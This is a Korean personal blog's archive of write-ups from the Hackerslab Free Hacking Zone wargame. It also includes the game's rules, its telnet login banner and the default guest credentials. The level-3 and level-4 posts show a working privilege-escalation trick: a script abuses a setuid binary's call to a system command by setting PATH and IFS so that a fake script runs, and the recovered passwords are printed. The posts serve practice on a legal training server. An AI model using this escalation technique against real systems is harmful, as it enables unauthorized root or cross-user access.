'hackerslab'에 해당되는 글 4건

  1. 2004/06/10 6월 9일자 User Friendly
  2. 2004/04/19 level 5 획득 ...
  3. 2004/04/19 level 4 획득 ...
  4. 2004/04/05 게임을 시작하며...
사용자 삽입 이미지


해커스랩에선 은근히 남여차별을 조장하는 느낌을 가끔 받는다는건 비단 나만의 생각인가?

출처: http://hackerslab.org

현재레벨: level4


문제:

리눅스에 들어 있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스 파일에 특정 코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고, 이를 이용하여 다음 레벨을 획득하면 된다.
Hint - 어줍잖은 김모씨는 단 한 줄만 소스에 추가했다고 한다.


현재 레벨4이고 레벨5의 패스워드를 알아야한다.


$ find / -user level5 -group level4 -perm -4000 -exec ls -l {} \; 2> /dev/null

-rwsr-x---    1 level5   level4      30422 Jan 10  2003 /usr/games/trojka


/usr/games/trojka 파일에 setuid가 걸려있다.

실행시켜보자.


$ /usr/games/trojka


썰렁한 테트리스 게임이 시작된다.

게임이 끝나고 몇가지 입력을 받는데 쉘상에서의 프롬프트 같은건 눈을씻고 찾아봐도 없다.


문제를 보면, 김모씨가 게임의 소스를 변경시켜 다시 컴파일 했다고 했다.

바이너리 파일명이 trojka이니 소스파일은 trojka.c 가 아닐까? 찾아보자...


$ find / -name trojka.c 2> /dev/null

$


없다..

그럼 소스파일에 어떠한 변경을 가해서 level5의 권한을 가질 수는 없다.

문제를 다시보면... 힌트에 김모씨는 단지 한줄만의 소스를 추가했다고 한다.

그 한줄이 어떠한 소스인지는 모르지만 김모씨가 어리석은 사람(?)임을 감안하면 분명 보안상에 취약하게 소스에 exec나 system 함수를 사용했을 것이다.


게임을 다시한번 실행시켜보면...


처음 실행시키면 그냥 빈 공백만 생긴다.

거기서 아무 키나 누르면 게임스피드를 선택할 수있는 입력을 받는 부분이 있고 게임이 시작된다.

중요한건 처음 실행시 바로 게임스피드를 선택할 수있는 부분이 나오는게 아니고 공백이 나온다는 것이다.

유닉스에서 쉘의 화면을 깨끗하게 정리하는 명령어가 있다.

/usr/bin/clear


아마 김모씨는 /usr/bin/clear 명령어를 코드에 집어넣고 다른 키 입력을 받은 후에야 다음 단계로 넘어갈 수있게 소스를 바꾸고 컴파일 한거 같다.

만약 /usr/bin/clear 을 코드에 집어 넣었다면 문제는 의외로 간단하게 해결된다.

level4를 뚫을때 사용했던 방법이다.


먼저 clear의 경로를 확인하자

$ ls -l /usr/bin/clear


참고로 해커스랩 프리해킹존에서 which 명령의 실행권을 일반유저에겐 주어져 있지않다.

각자 요령껏 clear의 경로를 확인하면 되겠다.


쉘스크립트를 만들어보자.


$ cat > proc

#!/bin/sh

export PATH=.:$PATH

export IFS='/'

/usr/games/grojka

^D


실행시 usr bin clear 을 실행시키기 때문에 usr 스크립트를 만들어둔다.


$ cat > usr

#!/bin/sh

/bin/pass

^D


$ sh ./proc


다행스럽게 level5의 패스워드가 나왔다.

김모씨는 /usr/bin/clear 명령어를 소스코드에 집어 넣었던 것이다.


level5 password : Slient night,holy night!

현재레벨: level3


문제:

항상 약속을 자주 잊어 버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던 중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 컴맨드를 이용하여 오늘의 날짜만 YYYY-MM-DD 형식으로 간단히 출력해주는 프로그램을 씨언어를 이용해서 프로그래밍을 하고는 누가 볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다.
이를 찾아서 다음 레벨을 진입하시오.

level4에 setuid에 걸린 파일을 찾아본다.


$ find / -user level4 -group level3 -perm -4000 -exec ls -l {} \; 2> /dev/null

-rws--x---    1 level4   level3      13781 Oct 26  2002 /usr/man/pt_BR/man8/today


/usr/man/pt_BR/man8/today 라는 파일에 setuid가 걸려있다.

실행시켜보면...


$ /usr/man/pt_BR/man8/today

04/18/04


오늘 날짜가 출력된다.

문제에서 서씨는 date 커맨드를 사용해서 만들었다고 했다.

그럼 /usr/man/pt_BR/man8/today 바이너리의 소스파일엔 /bin/date 를 실행시키는 부분이 들어있을 것이다.


현재 레벨은 3이고 레벨 4의 권한을 가진상태에서 /bin/pass를 리턴해야 레벨4의 암호를 알 수있는데 ../today 를 실행시키면 실행시킨 다음 프롬프트로 되돌아 오기때문에 그럴 여유가 없다.


문제를 해결하기위해선 일단 /usr/man/pt_BR/man8/today 파일에 조작을 가해야 한다.

이를 쉘프로그램으로 돌려보자.


$ cat > proc

#!/bin/sh

export PATH=.:$PATH

export IFS='/'

/usr/man/pt_BR/man8/today

^D


PATH변수에 현재 디렉토리가 맨먼저 검색되도록 추가를 했다.

두번째, IFS(Internal Field Seperator) 변수의 값을 / 로 바꾸고 그 이하 프로세스에도 적용되도록 전역변수화 시켰다.

IFS값은 쉘 내부에서 커맨드나 인수를 구분하게하는 구분자이다. 이것에 변칙적으로 변경해서 쉘을 조작하기 위함이다.

마지막으로 /usr/man/pt_BR/man8/today 바이너리를 실행시킨다.


$ sh ./proc

sh: bin: command not found


bin 이란 명령어를 해당 path에서 찾을 수없다는 메세지가 나온다.

그 이유는 간단하다.

앞서 서씨는 /bin/date 명령어를 사용해서 바이너리를 만들었다.

즉, /usr/man/pt_BR/man8/today를 실행시키면 실제적으론 /bin/date가 실행된다.

내부구분자를 / 로 바꾸었기때문에 실제로 실행되는것은  bin date 가 되는 것이다.

그리고 각각 bin 과 date 를 실행시키려고 하는데 bin 이란 바이너리(또는 쉘스크립트)가 path에 존재하지 않기 때문에 나오는 메세지인것이다.

그럼 bin 이란 스크립트를 만들면 된다.


$ cat > bin

#!/bin/sh

/bin/pass

^D

$ chmod 700 bin


이제 실행 시켜보면 원하는 답이 나올것이다.


level4 password : AreUReady?

언젠가 hackerslab에서 F.H.Z(Free Hacking Zone)에 푹 빠져있었던 적이 있습니다.

level6인가 7까지 뚫은거 같은데 무엇때문이었는지 그만 두게되었죠..

지금 생각해보면 어려워서 중간에 포기 비스무리하게 했던거 같군요..ㅋ


그래서 이번 기회에 다시한번 해볼려고 생각합니다.

저도 직장생활을 하는 입장인지라 마냥 게임에만 빠질 수 없고 오늘처럼 휴일에, 시간날때, 너무너무 심심할때.. 머리 식힐겸 도전을 해보죠...


http://www.hackerslab.org/korg/index.fhz?menu=fhz&pos=center


What is F.H.Z?
해커스랩의 자랑이자 최고의 서비스! 프리 해킹 존에 오신것을 환영합니다!

사용자 등록을 하신후 F.H.Z. 문제 보기로 이동 하시면 사용자 인증 후 (이부분은 사용자가 가입한 자신의 계정과 패스워드를 사용 하시면 됩니다.) 문제가 자동으로 뜹니다.

level up 은 level0 부터 level16 까지의 17 단계의 문제를 가지고 진행이 됩니다.
등록후 telnet 을 이용 하여 drill.hackerslab.org 에 접속 하여 문제를 풀수가 있습니다.(이부분은 각 level 계정을 가지고 접속 예)현재 level 이 level0 이면 login:level0 passwd:guest)

문제를 해결 하면 그 문제의 해답(?)을 drill.hackerslab.org 에서 찾으셔서 pass 란 명령을 셀에서 치시면 현재 level의 암호가 나올것입니다. 그 암호를 잊지마시고 이곳에서 등록해 주시면 자동으로 레벨이 업그레이드가 됩니다. 레벨 17 이 되실경우 명예의 전당에 등록됩니다. 다시 말씀 드리지만 웹에서 등록하신 아이디는 웹상에서의 관리를 위한 아이디 이며 telnet 으로 drill.hackerslab.org 에 접속하실때는 level0 / guest로 초기 접속이 가능합니다. 그리고 웹상에 기출된 문제를 drill.hackerslab.org 에 셀로 접속한 상태로 작업하신후 얻어내신 password를 웹상에서 등록하시면 레벨업이 됩니다 .



Intro :
당신은 이 글을 읽는 지금 이순간 해커 자유지대에 들어올 수 있는 권한을 가지게 되었다.(기쁘지 않은가?)
해커 자유지대는 자유롭게 telnet , web 을 이용하여 시스템에 접속 할수 있다. 또한, 해커 자유지대는 당신이 서버에 들어온 순간만큼은 해킹 관련 법률의 속박에서 벗어나 마음껏 당신의 지적 호기심을 충족시킬 수 있도록 도와줄 것이다. 당신이 할 수 있는 모든 기법을 동원하여 해커 자유지대를 활용해 보시기 바란다. 하지만, 여러 사람이 이용하기위해서는 다음 몇 가지 룰은 따라 주어야 한다.



Rule :

1. 이곳에서 당신은 자유다.
해커 자유지대에서의 당신의 모든 행동은 구속받지 않는 자유로움 속에 놓여있게 된다.(문제를 풀던 삽질을 하던.....)어떤 프로그램을 가져와서든지 컴파일하고 실행 할수 있다.(drill 서버에서 외부로의 접속은 안되니 중간 경우지로 이용 하려는 헛된 노력은 하지 말기 바란다.)
하지만 남에게 피해를 주는(예> 무한 fork 생성 등) 행동은 Bastard Operator 의 기분을 상하게해 영원히 접속 불능 상태가 될수도 있다. :p


2. 레벨은 패스워드를 웹에 입력 함으로서 패스 할수 있다.
다음 레벨의 패스워드를 얻었을때부터 당신의 레벨은 올라간 것이 아니다. 획득한 패스워드를 웹상에서 등록 해야만 다음 레벨로서 레벨업을 할수 있다. 다만 몇개의 문제는 패스워드를 획득 할수 있는 문제가 아니라 다음 레벨의 e-uid만 획득할수 있는 문제 이다. 이러한 문제는 현재 레벨의 패스워드를 볼수 있는 프로그램인 bin/pass (Unix 기본 명령어가 아니다.)프로그램을 돌려서 패스워드를 얻을 수 있다.(매우 친절하지 않은가 :) )


3. 레벨을 얻을 수 있는 힌트
홈페이지에서 제공을 하며 다음 레벨로 올라갈수 있는 힌트를 볼 수 있다.
힌트가 부족 하다 생각 되면 internet 이라는 우주에서 search 라는 skill 을 이용 하여 더 많은 힌트를 획득 할수 있다.


4. 다른 사람을 괴롭히지 말라.
언젠가 보복당한다. ( 뛰는놈 위에 나는놈 있다는 말이…)

위와 같은 룰만 지키면 당신이 해커자유 지대를 이용 하는데 아무런 문제도 없을것이다.



[chan@linux chan]$ telnet drill.hackerslab.org
Trying 203.239.110.20...
Connected to drill.hackerslab.org.
Escape character is '^]'.

               If I Were a Frog

               I wish I were a bright green frog,
               I'd sleep each day on a sunny log.
               And for a snack I'd eat a fly
               Whenever one came buzzing by.

               I'd leap, then swim in a pretty lake,
               And do frog things, for goodness sake.
               It would be great but I suppose
               That I would miss Spaghettios!

                       - Grandpa Tucker

                                  ..
                                .' @`._
                 ~       ...._.'  ,__.-;
              _..------/`           .-'    ~
             :     __./'       ,  .'-'--.._
          ~   `---(.-'''---.    ._       `.   ~
            _.--'(  .______.'.-' `-.`        `.
           :      `-..____`-.                  ;
           `.             ````                 ;   ~
             `-.__                        __.-'
                  ````-----.......-----'''    ~
               ~                   ~

                       New admin : frog@hackerslab.com

Welcome to F.H.Z of Hackerslab !

-       login as level 0 (level zero without space)
       password 'guest' if you're here for the 1st time.


login:



시작해 볼까 ~~~